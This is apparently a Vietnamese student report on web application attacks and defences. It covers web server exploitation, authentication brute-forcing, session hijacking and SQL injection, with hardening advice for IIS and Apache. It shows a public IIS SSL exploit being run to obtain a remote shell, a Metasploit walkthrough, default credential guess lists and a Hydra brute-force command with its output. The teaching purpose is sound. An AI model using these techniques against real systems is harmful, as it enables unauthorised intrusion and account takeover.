Mặt khác hãy thực hiện định kỳ công việc pen-test hệ thống, sử dụng các chương trìnhquét lỗ hổng để tự kiểm tra độ bảo mật của web server cũng như các ứng dụng đangchạy trên web server.C
Trang 2Mục Lục
LỜI DẪN 5
CHƯƠNG I: ĐỘNG LỰC TẤN CÔNG WEB 6
CHƯƠNG II: TẤN CÔNG WEB PLATFORM 7
2.1 Tấn công Web platform 7
2.1.1 Khai thác Point-and-click 7
2.1.2 Khai thác thủ công 11
2.2 Phòng tránh 14
2.2.1 Cập nhật các bản vá bảo mật 14
2.2.2 Đối với Apache: 15
CHƯƠNG III: TẤN CÔNG AUTHENTICATION 17
3.1 USERNAME/PASSWORD: 17
3.1.1 Username enumeration 17
3.1.2 Dò tìm password 19
3.1.3 Nghe trộm và tấn công Phát lại 23
3.2 Bỏ qua việc xác thực: 23
3.2.1 Token Replay: 23
3.2.2 Phương pháp phòng tránh: 25
CHƯƠNG IV: TẤN CÔNG DATASTORE 28
4.1 Attacking Web Datastores 28
4.1.1 Vì sao lại xảy ra SQL injectoin 28
4.1.2 Các phương pháp thực hiện SQL injection 29
4.2 Sử dụng truy vấn so sánh 33
4.2.1 Dựa vào thời gian 33
Trang 34.2.2 Dựa vào giá trị truy vấn 34
4.2.3 Sử dụng thông báo lỗi với truy vấn SQL 35
4.3 Khai thác SQL Injection: 36
4.3.1 Thu thập thông tin 36
4.3.2 Nâng đặc quyền user 38
4.3.3 Lấy trộm mã Hashes password 40
4.4 Sử dụng các công cụ tự động tấn công SQL Injection 42
4.5 Cách phòng chống 42
4.5.1 Kiểm tra đầu vào 43
4.5.2 Stored Procedures 44
4.5.3 Database Encryption 44
4.5.4 Database Configuration 45
CHƯƠNG V: HACKING CLIENT 46
5.1 Exploits 46
5.2 Design Liability 49
5.2.1 Cross-domain Access 49
5.2.2 JavaScript and Active Scripting 50
5.2.3 Lợi dụng ActiveX ActiveX 51
5.2.4 Firefox Extensions 51
5.3 Trickery 51
5.3.1 Phishing 52
5.3.2 Adware và Spyware 54
5.4 Denial-of-Service (DoS) Attacks 55
5.4.1 Tấn công dựa vào khai thác lỗ hổng bảo mật 56
5.4.2 Tấn công vào khả năng chịu đựng của hệ thống 56
5.5 Phòng chống 58
5.5.1 Phòng chống Implementation Vulnerabilities 58
5.5.2 Phòng chống Phishing 59
5.5.3 Phòng Chống adware và spyware 60
Trang 45.5.4 Phòng chống tấn công Web Client 61
5.5.5 Phòng chống tấn công DoS 64
CHƯƠNG VI: DEMO 67
6.1 Khai thác lỗ hổng trên IE 7 67
6.2 Tấn công SQL injection 1 67
6.2.1 Vượt qua kiểm soát đăng nhập 67
6.2.2 Sử dụng tool 67
6.2.3 Không sử dụng tool 68
CHƯƠNG VII: KẾT QUẢ ĐẠT ĐƯỢC VÀ PHƯƠNG HƯỚNG PHÁT TRIỂN CỦA ĐỀ TÀI 69
CHƯƠNG VIII: TÀI LIỆU THAM KHẢO 70
LỜI DẪN
Trang 5Hacking những ứng dụng Web cũng giống như một thủ thuật kì diệu Nếu bạn biết những kĩ thuật đúng và thực hành bạn có thể đột nhập vào bất kì ngân hàng trực tuyến nào hoặc các công ty tín dụng, các công ty chứng khóan Với những phương pháp tấn công đơn giản bạn có thể xác định được hệ điều hành, ngôn ngữ lập trình, phiên bản máy chủ và thậm chí bạn có thể xác định được lỗ hổng bảo mật của trang Web đó chỉ cần dựa vào URL Hầu hết những công ty đều rất
lo ngại về việc cơ sở dữ liệu của mình có thể bị mất cắp và cũng từ chính những điều này mà công việc làm ăn kinh doanh của họ có thể sụp đổ bất cứ lúc nào Tuy nhiên việc bảo mật các ứng dụng Web thường rất kém và các chuyên gia cũng nhận định rằng chính bản thân họ cũng sợ những lỗ hổng bảo mật trên
Web vì hiện tại khả năng của các attacker đang rất mạnh, và lòng tham của họ cũng lớn Hàng ngày họ phải tìm kiếm để ăn cắp những thẻ tín dụng ngân hàng,
số an sinh xã hội, tài khỏan ngân hàng hoặc bất cứ điều gì mà họ có thể lấy cắp được….Với những attacker ác ý chúng có thể sẵn sàng đe dọa và tống tiền các doanh nghiệp Với những hoạt động xâm nhập như vậy sự thiệt hại sẽ là rất lớn
ví dụ như: Tiền phạt, lòng tin khách hàng, thời gian chết, thiệt hại thương hiệu, trách nhiệm pháp lý….Cho nên vấn đề tìm hiểu những phương pháp tấn công Web đồng thời phòng chống các phương pháp đó là điều rất cần thiết cho mỗi doanh nghiệp Tài liệu dưới đây chúng em xin đề cập những phương pháp từ tấncông đến phức tạp, những phương pháp được thực hiện bằng tay cũng như sử dụng các tool tự động đồng thời đưa ra các cách phòng chống các phương pháp này
Trang 6CHƯƠNG I: ĐỘNG LỰC TẤN CÔNG WEB
Chủ nghĩa khủng bố toàn cầu đang ngày một phổ biến và nguy hiểm Chúng sử dụng mọi phương tiện có thể để gieo rắc nỗi sợ hãi Đặc biệt trong thế giới hiện đại, tin học
đã trở thành một chiến trường và phương tiện đắc lực của chúng
Bọn khủng bố sử dụng tin học để tấn công gây rối loạn các mạng lưới điều hành nhà nước, đánh cắp thông tin quan trọng, tuyển dụng và tuyên truyền tư tưởng kích động Việc đánh cắp những thông tin này có thể mang lại cho các attacker đó một lượng tiền khá lớn Nhưng đôi khi có những mục đích tấn công không phải vì tiền mà chỉ vì sự thù ghét nhau hoặc chỉ là một sự tò mò của những người mới học nghề
Kể từ cuối năm ngoái, tin tặc xem chừng như ngày càng ráo riết phá họai và tấn côngnhững trang web thu hút rất đông người tham gia ở trong lẫn ngoài nước Các trangmạng nổi tiếng và ăn khách hoặc những trang web của các công ty tín dụng, ngânhàng là những mục tiêu bị tin tặc đặc biệt nhắm tới bằng những phương cách tấncông mà nhiều chuyên gia cáo giác là những thủ đọan “bỉ ổi”, “đê tiện” “ném đánhưng không dấu được tay” Nói chung hình thức tấn công của tin tặc bao gồm việcđánh sập websites, trộm cắp, ngụy tạo tài liệu, chiếm đoạt hộp thư điện tử, mạo danh,tung tin giả, bôi nhọ, ly gián Mặt khác những thành viên sáng lập website chống đỡrất nhiều cuộc tấn công không đủ sức để bảo vệ website hoạt động bình thường Mặtkhác tại các trang Web vấn đề bảo mật rất kém, chúng thường không có các công cụnhư IDS/IPS, IDA (thiết bị lọc nội dung), Firewall….để bảo vệ cho nên việc tấn côngcác trang Web thường có tỉ lệ phần trăm rất cao Cho nên các attacker từ nhữngchuyên gia cho đến những newbie có thể tấn công Web mà không cần trình độ cao, họchỉ cần một vài công cụ là đã có thể thực hiện thành công một cuộc tấn công Web Vìvậy việc tấn công Web ngày nay được giới attacker ưa chuộng hơn bất cứ một cuộc
Trang 7CHƯƠNG II: TẤN CÔNG WEB PLATFORM
2.1 Tấn công Web platform
Thành phần quan trọng nhất của ứng dụng web mà hacker sẽ tìm kiếm đầu tiên là cáclỗi thuộc về web platform Web platform bao gồm các thành phần thuộc về hệ điềuhành và các ứng dụng logic như
- Chương trình Web server như IIS hay Apache
- Thành phần mở rộng của web serber như ISAPI hay các mod của Apache
- Môi trường thực thi như ASP.NET, PHP và J2EE
- Các dịch vụ người dùng như forum, portal
Đã từ lâu, lỗi thuộc về chương trình web server là một trong những lỗi dễ dàng nhất đểkhai thác trên một website, nhưng càng về sau, các nhà phát triển chương trình webserver càng chú trọng hơn tới vấn đề bảo mật bởi vì sản phẩm của họ đã bị tấn côngkhá nhiều trong quá khứ IIS của Microsoft là một ví dụ cho trường hợp này Mặc dùnhiều lỗi đã được tìm thấy và sửa chữa bởi Microsoft nhưng hàng ngày hacker trêntoàn thế giới vẫn tìm ra các lỗi mới của ứng dụng này
Chương này sẽ đề cập đến một số hình thức khai lỗi như :
Trang 8Metasploit hoạt động trên nhiều hệ điều hành Linux/Unix/Windown, nó cung cấp cáchkhai thác lỗ hổng dễ dàng cho nhiều loại lỗ hổng trong đó có cả web platform Có mộtứng dụng thương mại khác là CORE IMPACT được phát triển bởi Core SecurityTechnologies hoặc CANVAS của Immunity
Như vậy người tấn công không cần có kiến thức sâu về lỗ hổng sắp khai thác mà vẫn
có thể tấn công một cách hiện quả Tất cả các kịch bản tấn công, code đều có thể tìmkiếm dễ dàng trên mạng internet
Để hiểu được cách thức thực hiện Point-and-click, hãy thử thực hiện một cuộc tấncông dựa trên lỗi "SSL PCT remote buffer overflow" hay còn được biết tới với tên gọiMicrosoft Security Bulletin MS04-011
Ban đầu, hacker cần tìm đoạn code thực hiện việc tấn công vào lỗ hổng mà mình địnhtrước Ví dự sử dụng trang web milw0rm.com
Sau khi download được đoạn code cần thiết, ví dụ hacker đặt tên nó với tên gọiiisexploit.c Hacker sẽ thực hiện biên dịch đoạn code này bằng các trình biên dịch phùhợp với ngôn ngữ của đoạn code
Sau khi biên dịch , hacker có một file với tên gọi iisexploit.exe, và kích hoạt file exenày lên sẽ nhận được như sau :
C:\>iisexploit www.site.com myserver 8082
THCIISSLame v0.3 - IIS 5.0 SSL remote root exploit tested on Windows 2000 Servergerman/english SP4
by Johnny Cyberpunk (jcyberpunk@thc.org)
[*] building buffer
[*] connecting the target
[*] exploit send
[*] waiting for shell
[*] Exploit successful ! Have fun !
Sau khi khai thác thành công, đoạn chương trình nhỏ trên sẽ trả về một shell chohacker trên cổng 8082 Và đối với các hacker am hiểu về shell thì họ hoàn toàn có thể
Trang 9của file kịch bản đã download Thật không may rằng hiện nay các shell này cũng đượccông bố và dễ dàng tìm kiếm trên mạng.
Hãy thử một cách khác dễ dàng hơn với Metasploit :
Sau khi khởi động Metasploit, ta có thể nhìn thấy danh sách của tất cả các lỗ hổng mà
nó hỗ trợ như sau :
Hình 2.1
Chọn mục Microsoft SSL PCT overflow exploit Metasploit sẽ hiển thị một màn hìnhvới đầy đủ các mục phục vụ cho việc khai thác Trong hình dưới, ta sẽ chọn loại hệđiều hành mà ta chuẩn bị tấn công
Trang 10Hình 2.2
Sau khi chọn mục tiêu, Metasploit sẽ hiển thị màn hình tiếp theo để ta chọn payload sẽgửi tới server Đối với tấn công này, ta sẽ sử dụng một remote shell đơn giản Sau đóchỉ cần click vào nút Exploit, ta sẽ nhận được kết quả :
Trang 11Hình 1.2 2.1.2 Khai thác thủ công
Việc khai thác thủ công đòi hỏi người khai thác phải có kiến thức về lỗ hổng mà mìnhkhai thác cũng như các giao thức, cấu hình xung quanh lỗ hổng đó Hacker sử dụngcác kiến thức của mình về hệ thống và lỗ hổng để từng bước nhận được các thông tin
từ hệ thống thống qua lỗ hổng cũng như phục vụ cho các tần công khác sâu hơn
Một số ví dụ về tấn công thủ công :
PEAR/PHP XML-RPC Code Execution
PEAR/PHP XML-RPC được tìm ra vào năm 2005, cho phép thực hiện đoạn code thựcthi từ xa trên server Những ứng dụng như PostNude, Drupal hay TikiWiki đều vướnglỗi này vào thời gian đó
Lỗ hổng này được khai tác bẳng cách tận dụng một hàm trong bộ XML - eval() chophép nhúng input của người dùng từ request XML Điều này cho phép hacker tạo ramột XML request đơn giản và nhùn một chuổi có khả năng vượt qua các tham sốtruyền của hàm eval() Tấn công này cũng tương tự như SQL injection hay XSS
Trong ví dụ dưới đây sử dụng ứng dụng PhpAdsNew PhpAdsNew sửa dụng fileadxmlrpc.php để chấp nhận các request của web service Trong trường hợp nàyadxmlrpc.php đóng vai trò như một gateway để khai thác XML-RPC Tấn công đượcthực hiện bằng việc tạo một request tới server với header và phần data như sau :
Trang 12Phần in đậm chính là phần câu lệnh sẽ chèn vào biến name để hiển thị danh sách thưmục trên hệ thống Server sẽ trả về với nội dung như sau :
Volume in drive C has no label
Volume Serial Number is 98C0-5EE5
Trang 14mà hệ thống chưa được vá Tốt nhất hãy sử dụng chương trình nâng cấp tự động nhưMicrosoft Update Service, đối với Apache, hãy đăng ký vào bản tin Apacheannouncements list để biết được các bản vá cập nhật mới nhất.
Trang 15Mặt khác hãy thực hiện định kỳ công việc pen-test hệ thống, sử dụng các chương trìnhquét lỗ hổng để tự kiểm tra độ bảo mật của web server cũng như các ứng dụng đangchạy trên web server.
Cấu hình đúng và chuẩn web server là điều quan trọng tránh những lỗ hổng vô tìnhđược tạo ra
Đối với IIS :
Tắt "IIS' Detailed Error Messages" sẽ giúp ngăn chặn hacker footprinting từ hệ thốngcác thông tin cần thiết phục vụ cho tấn công
Cài đặt các thư mục web ở các ổ đĩa khác với ổ root của hệ điều hành Với IIS,InternetServices Manager (iis.msc) điều khiển vị trí của web root, hãy chắc rằng Local Pathkhông có "%systemroot%"
Tháo bỏ những mở rộng không cần thiết Các mở rộng luôn ẩn chứa những lỗ hổng mànhà phát triển không lường trước được, hãy chắc rằng chỉ sử dụng những mở rộng thật
sự cần thiết Bạn không phải xóa các file dll để tránh trường hợp đụng chạm đến hệthống, chỉ cần tháo nó ra khỏi startup của server, khi đó các lỗi từ các mở rộng sẽkhông bị khai thác nữa
Sử dụng IISLockdown và URLScan Trong khi IISLockdown và URLScan giúp bạn
tự động đặt cấu hình cần thiết để đảm bảo bảo mật cho platform ở một khía cạnh nào
đó , IISLockdown và URLScan hoạt động như một firewall phía trước server Cả 2ứng dụng có thể sử dụng riêng biệt mà cấu hình chi tiết bằng tay
Ngăn việc group Everyone và Guest thực hiện Write và Execute: Các truy cập nặcdanh trên IIS thuộc các nhóm này và bạn cần chắc chắn rằng họ không được quyềncan thiệp vào thư mục hay file nào trên hệ thống cũng như những người không cóquyền thực thi các lệnh execute trên các thư mục
2.2.2 Đối với Apache:
Loại bỏ các module không cần thiết: Một trong những điều quan trọng khi cài đặtApache là các chức năng yêu cầu phải có trên web server, ví dụ PHP script hoặc Perl
Trang 16cần gì để có thể chạy được Sau khi bạn tạo ra một danh sách các chức năng cần thiết,hãy loại bỏ các module không cần thiết đi.
ModeSecurity là một module được viết bởi Ivan Ristic có thể làm việc như mộtfirewall tầng ứng dụng tại web server Nó là ứng dụng linh hoạt và tốt nhất hiện tạiphục vụ cho việc giúp Apache chống lại các tấn công web platform.
Một quy luật cơ bản của bảo mật trong việc chống lại tấn công là khi một hacker xâmnhập vào web server, điều đầu tiên hacker làm sẽ là truy cập vào những file hệ thốngnhư /etc/passwd hoặc nâng quyền bằng một lỗi local Chống lại việc đó bằng việcchrooting, nói một cách đơn giản là đặt Apache chạy với một ít quyền của hệ thông
mà thôi, do đó khi hacker xâm nhập vào hệ thống vẫn không thể tác động tới các file
hệ thống thật được
Một cấu hình quan trọng cần được chú ý đối với Apache là không cho phép ngườidùng truy cập đến bất kỳ tài nguyên gì bên ngoài document root Việc này thực hiệnkhá đơn giản bằng cách thêm vào file httpd.conf nội dung sau :<Directory/> orderdeny,allow deny from all </Directory> <Directory /www/htdocs> order allow,denyallow from all </Directory>
Sử dụng các mặc định tùy chọn như : open_basedir, disable_function, expose_php,display_errors, safe_mode, allow_url_open
Trang 17CHƯƠNG III: TẤN CÔNG AUTHENTICATION
Xác thực đóng một vai trò quan trọng trong vấn đề bảo mật Web Dưới đây chúng tôi
sẽ giới thiệu về các mối đe dọa thông qua cơ chế xác thực để tấn công web
3.1 Username/password:
Đây là cách xác thực web đơn giản nhất và thường được sử dụng ngày nay Mặc dù córất nhiều cách để thực hiện việc xác thực username/password nhưng trong khi triểnkhai web thường bị mắc một số kiểu tấn công như sau:
+ Profiling Result: Trong một website có một số nơi mà ở đó chúng ta có thểxác định được thông tin xung quanh của người dùng ví dụ như: Lời chú giải củasource code Những kẻ tấn công thông minh luôn luôn xem xét data của profiling vì nóthường là một nguồn thông tin dồi dào
+ Lỗi khi login: Một kĩ thuật đơn giản nhằm để xác định nếu có một user tồn tạithử login vào hệ thống và nhìn thấy tin nhắn thông báo lỗi Ví dụ: Thử login vào ứngdụng web sử dụng username “Alice” và password “abc123” Bạn có thể sẽ nhận được
3 thông báo lỗi trừ khi bạn đăng nhập thành công vào hệ thống với password đã dòđược:
Trang 18+ Đăng kí: Có nhiều ứng dụng web cho phép người dùng lựa chọn usernamecủa chính họ để thực hiện quá trình đăng kí Trong suốt quá trình đăng kí nếu bạn lựachọn một username đã tồn tại, bạn sẽ nhận được một thông báo là “ hãy chọnusername khác” , khi đó họ sẽ chọn lại một username khác, username đó có thể là têncủa họ, tên con cái, tên trong danh bạ…từ đây bạn có thể sinh ra một danh sáchusername thường được sử dụng
+ Thông báo lỗi trong quá trình thay đổi password: Có nhiều trang web chophép người sử dụng có thể thay đổi password hiện tại của mình Thường thì có mộttrang riêng để thực hiện chức năng này Thỉnh thoảng username thường được nhập vàonhưng đôi khi chúng lại được lưu trong một tag ẩn cái mà sử dụng bởi phương phápPost Một Proxy thường được sử dụng để thực hiện kiểu tấn công này, tuy nhiên bằngviệc đánh giá các thông báo lỗi bạn cũng có thể xác định được các username này
+ Khóa Account: Để giảm thiểu nguy cơ của kiểu tấn công dò tìm passwordngười ta đưa ra các ứng dụng để khóa account sau một số lần login bị lỗi Số lần loginlỗi sẽ được quy định tùy thuộc vào chính sách bảo mật của ứng dụng, thông thường sẽ
là 3, 5 hoặc 10 lần và sau khoảng 30p, 1h hay 24h thì account sẽ được mở trở lại Điềunày làm chậm lại các cuộc tấn công dò tìm password và giúp cho người quản trị có thểđưa ra một chính sách mật khẩu tốt đồng thời nó cũng được xem là sự cân bằng về antòan và khả năng sử dụng Tuy nhiên khóa tài khỏan chỉ có ý nghĩa đối với những
Trang 19user hợp lệ còn các user không tồn tại thì sao? Điều này là một vấn đề nan giải với cácứng dụng web hiện nay Vì hầu hết tất cả các ứng dụng đều không thể áp dụng điềunày cho các account không hợp lệ Và cách tốt nhất để thực hiện điều này đó là khôngđưa ra thông báo “user bị khóa” cho các account bị khóa tài khoản, đây là cách tốtnhất để ngăn chặn việc thực hiện lập bảng danh sách các user thông qua các account bịkhóa Tuy nhiên khi áp dụng điều này vào các chính sách an ninh sẽ dễ dẫn đến việctức giận của người sử dụng Đôi khi việc khóa account được thực hiện ở phía máyclient.
+ Tấn công về thời gian: nếu tất cả các phương pháp tấn công trên vẫn thất bại,tấn công về thời gian có lẽ đó là phương pháp cuối cùng của bạn Nếu bạn không thểliệt kê tên người dùng từ việc đăng kí, thông báo lỗi, thay đổi mật khẩu thì bạn hãy thử
cố gắng tính tóan thời gian hệ thống gửi thông báo lỗi khi hệ thống nhận được một baduser hoặc một bad pass Và tùy thuộc vào thuật tóan cũng như công nghệ sử dụng màthời gian trả lời là khác nhau
3.1.2 Dò tìm password
- Phương thức tấn công: Không đáng ngạc nhiên khi nhận xét việc dò tìm password lànguyên nhân chính dẫn đến sự sụp đổ của cấu trúc username/password Thật khôngmay hiện nay cấu trúc này lại rất phổ biến trên các web và kĩ thuật tấn công kiểu dòtìm password là kiểu tấn công cơ bản nhất Tấn công dò tìm password thường đượcthực hiện mà không cần quan tâm đến nơi mà giao thức xác thực đó áp dụng Việc dòtìm password có thể thực hiện được bằng tay và bằng các phần mềm
+ Dò tìm password bằng tay: Tấn công dò tìm password có thể được thực hiện bằng tay hoặc thông qua các tool tự động Tấn công dò tìm password được thực hiện bằng tay là một kiểu tấn công rất nhạt nhẽo nhưng qua kiểu tấn công này ta lại thấy được vai trò của con người hơn là kiểu tấn công tự động, đặc biệt là khi lỗi phần tùy chỉnh của trang được sử dụng để trả lời các form login cơ bản Khi tiến hành dò tìm password thường người ta sẽ dựa vào bảng sau:
root, administrator, admin [NULL], root, administrator, admin, password,
Trang 20Username Guesses Password Guesses
[company_name]
operator, webmaster, backup [NULL], operator, webmaster, backup
guest, demo, test, trial [NULL], guest, demo, test, trial
member, private [NULL], member, private
[company_name] [NULL], [company_name], password
[known_username] [NULL], [known_username]
+ Dò password tự động: Có hai phương pháp cơ bản để thực hiện dò password tự động
đó là: chiều sâu và chiều rộng đầu tiên Thuật tóan của phép chiều sâu đầu tiên đó làthử tất cả các password được kết hợp bởi một username sau đó mới thử đến usernametiếp theo Thuật tóan của phép chiều rộng đầu tiên là thử tất cả các username khácnhau với cùng một password Sau đây là một số công cụ dò password được sử dụngngày nay:
Tip: Nếu có một chính sách về mật khẩu và nó được thực thi thì việc giảm kí tự trắng
sẽ có hiệu quả hơn Ví dụ như nếu bạn biết các chính sách mật khẩu chỉ cho phép các
kí tự số, các chữ, yêu cầu có sự kết hợp cả các kí tự hoa, kí tự thường thì bạn sẽ khôngphải tốn thời gian để tra từ điển và kết hợp các số vào trong password Một trongnhững giao thức xác thực được sử dụng rộng rãi nhất trên internet hiện nay là HTTPbasic Nếu chúng ta gặp phải một trang được bảo vệ bởi phương pháp xác thực cơ bảntrong phần tư vấn, chúng ta thường chuyển sang Hydra để kiểm tra lại chứng nhận độmạnh của account Hydra là một công cụ đơn giản được sử dụng để đưa ra một danhsách username và password (hoặc kết hợp cả hai) và sử dụng bảng danh sách này đểthực hiện phương thức tấn công xác thực cơ bản Nó trả lời "HTTP 302 Oject Moved"
để chỉ ra các cuộc dò tìm thành công và nó sẽ tìm kiếm tất cả các cuộc dò tìm thànhcông trong file username và password Ở phía dưới là ví dụ chỉ ra việc Hydra được sửdụng trên Window (qua thư viện Cygwin) để dò tìm thành công một mật khẩu HTTPBasic.Chúng tôi sẽ sử dụng Hydra's - Option để chỉ ra một file username/password
Trang 21làm đầu vào, và chúng tôi đang tấn công thư mục /secure (cái mà được chỉ ra trongphần http-get)
D:\Toolbox>hydra -C list.txt victim.com http-get /secure
Hydra v5.0 (c) 2005 by van Hauser / THC - use allowed only for legal
purposes
Hydra (http://www.thc.org) starting at 2005-11-08 21:21:56
[DATA] 6 tasks, 1 servers, 6 login tries, ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for victim.com (waiting for childs to finish
)
[80][www] host: 192.168.224.40 login: user password: guessme
Hydra (http://www.thc.org) finished at 2005-11-08 21:22:01
Hydra hỗ trợ http-head, http-get, https-head và http-proxy cho viện tấn công ứng dụngweb
WebCracker là một công cụ cũ hơn Hydra, ứng dụng Window Base GUI giống nhưHydra nhưng nó không cần nhiều kinh nghiệm như Hydra Nó là một công cụ rất tuyệtvời dành cho những người mới bắt đầu hoặc khi bạn muốn kiểm tra nhanh Ở hìnhphía dưới chỉ ra việc Web Cracker đã dò tìm thành công một số account ở URL đích
Hình 3.1: WebCracker đã dò tìm thành công username/password.
Trang 22Brutus là một công cụ dò tìm password nó được xây dựng để phục vụ cho việc tấncông xác thực HTTP Basic và Form-base giữa các giao thức như SMTP hoặc POP3.Brutus có thể thực hiện cả việc tấn công từ điển và brute-force attack nơi mà cácpassword có thể được sinh ra ngẫu nhiên từ tập hợp các kí tự Dưới đây là giao diệnchính của Brutus sau khi tiến hành tấn công dò tìm password xác thực cơ bản
Hình 3.2: Brutus đã dò tìm được 4908 password trong vòng 19s
Brutus cũng có thể tiến hành việc tấn công xác thực Form-Basic nhưng nó lại khônghiển thị password đã dò tìm được khi tiến hành tấn công
Cách phòng tránh tấn công bằng username/password:
Cách phòng tránh hiệu quả nhất tránh việc dò tìm mật khẩu đó là sự kết hợp giữachính sách mật khẩu mạnh và chính sách khóa account mạnh Sau khi một số lượngnhỏ truy cập không thành công, các ứng dụng nên khóa các tài khỏan để hạn chế kiểutấn công này Tuy nhiên hãy cẩn thận với các cuộc tấn công DOS đối với một ứngdụng có chính sách khóa tài khoản trên mức cần thiết Một kẻ tấn công có thể khóa tất
cả các tài khỏan trên hệ thống Một lựa chọn tốt nhất mà các nhà phát triển ứng dụngthường sử dụng đó là chỉ khóa các tài khỏan trong khoảng một thời gian ngắn, thôngthường thời gian đó là 10p Điều này có hiệu quả trong việc làm chậm tốc độ dò tìmmật khẩu Với việc sử dụng một chính sách mật khẩu mạnh, khả năng dò tìm ra cácmật khẩu là rất ít, không gian của mật khẩu phải trên 8 kí tự Một lợi ích nữa của việc
Trang 23sử dụng chính sách mật khẩu mạnh đó là có thể giảm thiểu được sự tấn công foce.
brute-3.1.3 Nghe trộm và tấn công Phát lại
Bất cứ một giao thức xác thực nào cũng có khi bị lộ những thông tin quan trọng trongkhi truyền qua mạng, lúc đó ta có thể nói hệ thống này bị tấn công nghe trộm, hay còngọi là kiểu tấn công sniffing
Một cuộc tấn công phát lại thường được xây dựng trên những cuộc tấn công nghe trộm
và bao gồm cả việc sử dụng những thông tin được bắt bởi kẻ tấn công giả mạo nhữngngười dùng hợp lệ Thật không may là một số giao thức xác thực phổ biến nhất đã làm
lộ thông tin của web Hai phương pháp tấn công phổ biến nhất là Basic và Digest Cách phòng tránh: Sử dụng mã hóa SSL 128 bit có thể ngăn chặn các cuộc tấn côngnày, phương pháp này được khuyến cáo sử dụng cho tất cả các website sử dụng xácthực Basic và Digest
3.2 Bỏ qua việc xác thực:
3.2.1 Token Replay:
Nó thường chỉ ra các phương pháp bảo mật token cho một vài người dùng đã xác thựcthành công để họ không phải nhập lại thông tin khi sử dụng một ứng dụng khác Mộttác dụng phụ của phương pháp xác thực này là xác thực có thể bị bỏ qua khi bị “cướp”mất token hay còn gọi là bị cướp phiên Các ứng dụng web thường sử dụng hai loạithẻ bảo mật đó là: cookie và session ID Và hacker thường sử dụng điểm yếu của haithẻ này để tấn công web
- Tấn công Session ID: Hai kĩ thuật tấn công cơ bản để lấy được session ID đó là
dự đoán và sử dụng brute force Hiện nay có rất nhiều trang web bị sụp đổ bởiphương pháp tấn công dự đoán trước các session ID Tất cả các máy chủ ứngdụng chính đều sử dụng các session ID không thể bị đóan trước và các ứngdụng được xây dựng trên những khung không chắc chắn để tránh khỏi nhữngcuộc tấn công này
Trang 24+ Brufoce session ID là phương pháp tấn công là thử hàng ngàn các request đểyêu cầu session ID nhằm dò tìm một session ID chính xác nhất Số lượng cácrequest thực hiện cần phụ thuộc vào không gian key của session ID Như vậyxác suất thành công của kiểu tấn công này có thể tính tóan dựa trên kích cỡ vàkhông gian key của Session ID.
+ Hacking cookies: Cookie thường chứa những dữ liệu nhạy cảm liên quan đếnviệc xác thực Nếu cookie có chứa password hoặc các seesion ID thì việc đánhcắp được cookie là một cuộc tấn công rất thành công đối với một rang web Cómột số kĩ thuật phổ biến được sử dụng để đánh cắp cookies, với một số kịch bảnthông dụng là script injection và nghe trộm Kĩ thuật đảo ngược cookie offlinecũng có thể chứng minh đây là một kiểu tấn công rất có lợi Cách tiếp cận tốtnhấp đó là thu thập một mẫu cookie sau đó thay đổi các giá trị khác nhau củainput để xem cookie đó thay đổi như thế nào Điều này có thể đuowcj làm bằngcách sử dụng các account khác nhau để login tại các thời điểmkhác nhau Ýtưởng này được sử dụng để xem những thay đổi của cookie dựa trên username,thời gian, các đặc quyền truy nhập…Tấn công Bit-flipping là cuộc tấn côngthông qua kiểu tấn công brute force, nó thay đổi các bit cookie miễn là cookie
có còn hợp lệ và có các quyền truy cập khác nhau
3.2.2 Phương pháp phòng tránh:
- Sử dụng SSL: Nghe lén là cách dễ nhất để ăn cắp thẻ bảo mật như cookie Sử
dụng SSL hoặc kết hợp với công nghệ bảo mật phiên khác để chống lại việcnghe trộm Ngoài việc nghe trộm trên đường truyền có dây, chúng ta cũng phảinhận thức được những vấn đề bảo mật với các khách hàng thường xuyên sửdụng web cũng có thể làm lộ các thẻ bảo mật để thực hiện các phần mềm mãđộc hại hoặc cross-site sripting Nhìn chung cách tiếp cận tốt nhất là sử dụngcác session ID được cung cấp bởi các server ứng dụng Tuy nhiên nếu bạn cầnxây dựng một cái của riêng bạn, bạn nên thiết kế một thẻ bảo mật mà thẻ đókhông thể bị đóan trước hoặc không thể bị tấn công sử dụng brute force Bạn
Trang 25cũng nên thực hiện kiểm tra tính tòan vẹn trên các thẻ an ninh như cookie vàsession ID để chống lại sự thay đổi cookie trong quá trình truyền hay quá trìnhphân tích offline Nói chung, người ta không khuyến cáo để các dữ liệu nhạycảm trong các thẻ bảo mật, ngay cả khi bạn thực hiện một cơ chế mạnh về bảomật và kiểm tra tính tòan vẹn
- Quản lý định danh: Một hệ thống có chức năng xác thực cần có một vài cách để
quản lý định danh đăng kí và quản lý tài khoản…Những hoạt động đó cần phảiđược thực hiện một cách bảo mật vì các lỗi có thể ảnh hưởng đến những thôngtin rất nhạy cảm Thật không may việc quản lý định danh là một việc rất phứctạp và rất nhiều ứng dụng web không được thực hiện việc này tốt và điều nàydẫn đến việc tòan bộ hệ thống xác thực của trang web bị lộ qua back door
- Đăng kí người dùng: Đôi khi cách dễ nhất để truy nhập một ứng dụng web là
tạo ra một tài khoản hợp lệ trên hệ thống bằng cách sử dụng hệ thống đăng kíngười dùng Điều này chủ yếu sử dụng trong việc tấn công bypass bỏ qua việcxác thực Tất nhiên lọc các lọc các mối hiểm họa từ các tài khoản đăng kí làmột điều đầy thách thức nhưng các ứng dụng web đã phát triển ra một số cơ chế
để giảm bớt loại tấn công này như CAPCHA (Completely Automated PublicTuring Tests to Tell Computers and Humans Apart) CAPCHA thường được sửdụng trong các ứng dụng web-base khi người chủ ứng dụng muốn ngăn chặnmột số chương trình hay script Một vài ví dụ về CAPCHA là:
+ Free E-mail service: Nhiều dịch vụ mail miễn phí sử dụng CAPCHA đểngăn ngừa các chương trình tạo các account fake và sinh ra thư rác
+ Ngăn chặn thăm dò password: CAPCHA được sử dụng để login vàotrang để ngăn ngừa các công cụ và các chương trình để tiến hành thăm dòpassword
+ Ngăn ngừa công cụ tìm kiếm CAPCHA: ngăn chặn các công cụ tìmkiếm ở các chỉ mục của trang
